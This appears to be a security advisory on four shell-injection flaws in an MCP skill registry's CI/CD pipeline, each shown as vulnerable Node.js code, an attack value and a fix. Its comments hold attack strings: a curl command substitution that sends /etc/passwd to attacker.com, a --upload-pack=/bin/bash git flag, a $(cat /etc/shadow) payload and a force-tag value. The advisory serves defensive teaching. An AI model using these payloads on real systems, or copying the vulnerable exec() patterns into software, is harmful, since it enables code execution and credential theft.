SA-SKL-INJECTION20 — Code Injection
Code Injection in MCP Skill Registry CI/CD Integration and GitHub Actions Pipeline
The CI/CD integration layer of an MCP skill registry triggers GitHub Actions workflows, clones repositories, posts PR status comments, and creates deployment tags using shell commands built from skill metadata fields. SA-SKL-INJECTION20 covers four injection vulnerabilities across these operations where shell string interpolation of unvalidated skill metadata allows attackers to achieve RCE, inject git flags, overwrite release tags, and exfiltrate server credentials.
exec(`gh workflow run "${workflowName}" --repo ${repoName}`); skill name with $() achieves command substitution RCE in the registry worker; fix: execFile() with arg array + -- + validate skill name against /^[a-zA-Z0-9 ._-]{1,100}$/exec(`git clone ${repoUrl} /tmp/${repoDir}`); repoUrl with --upload-pack=/bin/bash injects git flag executing arbitrary binary on clone; fix: execFile() + -- + UUID repoDir + validate repoUrl as HTTPS GitHub/GitLab onlyexec(`gh pr comment --repo ${owner}/${repo} --body "${statusBody}"`); skill description with $(cat /etc/shadow) in --body arg achieves command substitution; fix: execFile() with arg array; pass body via stdin not --body flagexec(`git tag ${tagName} ${commitHash}`); tagName with space and -f creates a forceful tag overwriting an existing release tag; fix: execFile() + validate tagName as semver + validate commitHash as /^[0-9a-f]{40}$/INJECTION20-001 — gh workflow run command substitution RCE via skill name
The CI/CD integration worker triggers GitHub Actions workflows by constructing a shell command from the skill's display name. Using exec() with a template string creates a shell-interpreted command where any special characters in the skill name are evaluated. A skill name containing $(command) achieves command substitution in bash, executing arbitrary commands in the registry worker's process context.
// INJECTION20-001 — VULNERABLE
// exec() with template string — skill name with $() achieves command substitution RCE.
const { exec } = require('child_process');
function triggerWorkflow(workflowName, repoName) {
// VULNERABLE: workflowName from skill display name, interpolated into shell command
exec(`gh workflow run "${workflowName}" --repo ${repoName}`, (err, stdout) => {
if (err) logger.error('workflow trigger failed', err);
});
}
// Attacker skill name: $(curl attacker.com/$(cat /etc/passwd | base64) > /dev/null)
// Executes curl during workflow trigger, exfiltrating /etc/passwd
Fix: Replace exec() with execFile() and pass each argument as a separate array element. Use -- end-of-options before user-controlled arguments. Validate the skill name against a strict regex before passing it to any shell command. For the workflow name specifically, derive it from the authenticated workflow file list rather than the skill display name.
// INJECTION20-001 — FIXED
const { execFile } = require('child_process');
const SKILL_NAME_RE = /^[a-zA-Z0-9 ._-]{1,100}$/;
function triggerWorkflow(workflowName, repoOwner, repoName) {
if (!SKILL_NAME_RE.test(workflowName)) throw new Error('Invalid workflow name');
if (!GITHUB_REPO_RE.test(`${repoOwner}/${repoName}`)) throw new Error('Invalid repo');
execFile('gh', [
'workflow', 'run',
'--repo', `${repoOwner}/${repoName}`,
'--', // end-of-options: nothing after here is treated as a flag
workflowName
], (err, stdout) => {
if (err) logger.error('workflow trigger failed', { code: err.code });
});
}
INJECTION20-002 — git clone flag injection via repoUrl --upload-pack
The skill validation worker clones the submitted repository URL to perform static analysis. The clone command is constructed by string-interpolating the submitted repoUrl directly into an exec() shell string. A URL containing --upload-pack=/bin/bash injects a git flag that causes git to execute /bin/bash as the remote upload-pack binary, achieving arbitrary code execution during the clone operation.
// INJECTION20-002 — VULNERABLE
// exec() with repoUrl interpolation — --upload-pack flag injection.
const os = require('os');
const path = require('path');
async function cloneForAnalysis(repoUrl, skillId) {
const repoDir = `${skillId}-${Date.now()}`; // predictable, potentially path-traversable
const targetPath = path.join(os.tmpdir(), repoDir);
// VULNERABLE: repoUrl with --upload-pack=/bin/bash injects git flag
await execAsync(`git clone ${repoUrl} ${targetPath}`);
return targetPath;
}
// Attacker repoUrl: "--upload-pack=/bin/bash https://github.com/legit/repo"
// git executes /bin/bash as upload-pack binary
Fix: Use execFile() with a -- separator before the URL argument. Validate repoUrl matches https://github.com/ or https://gitlab.com/ exactly. Use a UUID for the clone directory name to prevent path traversal. Set a timeout and working directory restriction.
// INJECTION20-002 — FIXED
const crypto = require('crypto');
const REPO_URL_RE = /^https:\/\/(github\.com|gitlab\.com)\/[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+(?:\.git)?$/;
async function cloneForAnalysis(repoUrl) {
if (!REPO_URL_RE.test(repoUrl)) throw new Error('Invalid repository URL');
const sandboxDir = path.join(os.tmpdir(), crypto.randomUUID()); // UUID — not predictable
await new Promise((resolve, reject) => {
execFile('git', [
'clone', '--depth', '1',
'--', // end-of-options: repoUrl after -- cannot inject flags
repoUrl, sandboxDir
], { timeout: 60000 }, (err) => err ? reject(err) : resolve());
});
return sandboxDir;
}
INJECTION20-003 — gh pr comment --body command substitution via skill description
The CI/CD integration posts audit status comments to pull requests using the GitHub CLI. The comment body includes the skill's description field, which is interpolated directly into the --body argument of a shell-expanded exec() call. A skill description containing $(cat /etc/shadow) achieves command substitution inside the double-quoted --body argument, executing the subshell expression and potentially including sensitive file contents in the posted comment body.
// INJECTION20-003 — VULNERABLE
// exec() with --body interpolation — command substitution in quoted argument.
async function postAuditStatusComment(owner, repo, prNumber, skillDescription, auditGrade) {
const statusBody = `SkillAudit result for "${skillDescription}": grade ${auditGrade}`;
// VULNERABLE: statusBody with $() inside shell double-quote — command substitution executes
await execAsync(`gh pr comment ${prNumber} --repo ${owner}/${repo} --body "${statusBody}"`);
}
Fix: Use execFile() with an arg array. Pass the comment body via a temporary file piped through stdin rather than via the --body flag, which eliminates the injection surface entirely. Alternatively, use the GitHub REST API directly via node-fetch with the body as a JSON field — JSON serialization prevents shell injection.
// INJECTION20-003 — FIXED
const { execFile } = require('child_process');
async function postAuditStatusComment(owner, repo, prNumber, skillDescription, auditGrade) {
if (!GITHUB_REPO_RE.test(`${owner}/${repo}`)) throw new Error('Invalid repo');
if (typeof prNumber !== 'number' || !Number.isInteger(prNumber)) throw new Error('Invalid PR number');
const statusBody = `SkillAudit result for skill: grade ${auditGrade}`;
// skillDescription excluded from shell command entirely — not in arg array
await new Promise((resolve, reject) => {
const child = execFile('gh', [
'pr', 'comment', String(prNumber),
'--repo', `${owner}/${repo}`,
'--body-file', '-' // read body from stdin — no --body flag in args
], (err) => err ? reject(err) : resolve());
child.stdin.end(statusBody); // body passed via stdin — shell injection impossible
});
}
INJECTION20-004 — git tag forceful override via space-injected -f flag in tagName
The deployment pipeline creates git tags to mark published skill versions. The tag name is derived from the user-submitted version string and interpolated into an exec() shell command. A tagName containing a space followed by -f injects the --force flag, causing git to overwrite an existing tag and potentially replacing a production release tag that other users' CI/CD pipelines depend on for pinned installs.
// INJECTION20-004 — VULNERABLE
// exec() with tagName interpolation — space + -f flag injection overwrites existing release tag.
async function createDeploymentTag(tagName, commitHash) {
// VULNERABLE: tagName with space injects flags; commitHash with ; injects commands
await execAsync(`git tag ${tagName} ${commitHash}`);
}
// Attacker tagName: "v1.0.0 -f v1.0.0-stable"
// Overwrites existing v1.0.0-stable tag, breaking pinned installs in downstream CI/CD
Fix: Use execFile() with arg array and -- separator. Validate tagName against a semver regex. Validate commitHash against exactly 40 hex characters. Never allow force-flag injection by ensuring the args array never includes a user-controlled string before --.
// INJECTION20-004 — FIXED
const SEMVER_TAG_RE = /^v[0-9]+\.[0-9]+\.[0-9]+(?:-[a-zA-Z0-9.]+)?$/;
const COMMIT_HASH_RE = /^[0-9a-f]{40}$/;
async function createDeploymentTag(tagName, commitHash) {
if (!SEMVER_TAG_RE.test(tagName)) throw new Error('Invalid tag name: must be semver');
if (!COMMIT_HASH_RE.test(commitHash)) throw new Error('Invalid commit hash');
await new Promise((resolve, reject) => {
execFile('git', [
'tag',
'--', // end-of-options: tagName after -- cannot be a flag
tagName, commitHash
], (err) => err ? reject(err) : resolve());
});
}
Summary
| Finding | Pattern | Severity | Fix |
|---|---|---|---|
| INJECTION20-001 | exec() with skill name in gh workflow run | CRITICAL | execFile() + arg array + -- + skill name regex |
| INJECTION20-002 | exec() with repoUrl in git clone | CRITICAL | execFile() + -- + HTTPS GitHub/GitLab regex + UUID sandbox dir |
| INJECTION20-003 | exec() with skill description in gh pr comment --body | CRITICAL | execFile() + --body-file - + body via stdin |
| INJECTION20-004 | exec() with tagName in git tag | HIGH | execFile() + -- + semver regex + commit hash validation |
Related: SA-SKL-INJECTION19 (skill metadata indexing and search injection), SA-SKL-INJECTION18 (package signing and verification injection). Run SkillAudit to detect all INJECTION20 patterns in your MCP skill registry.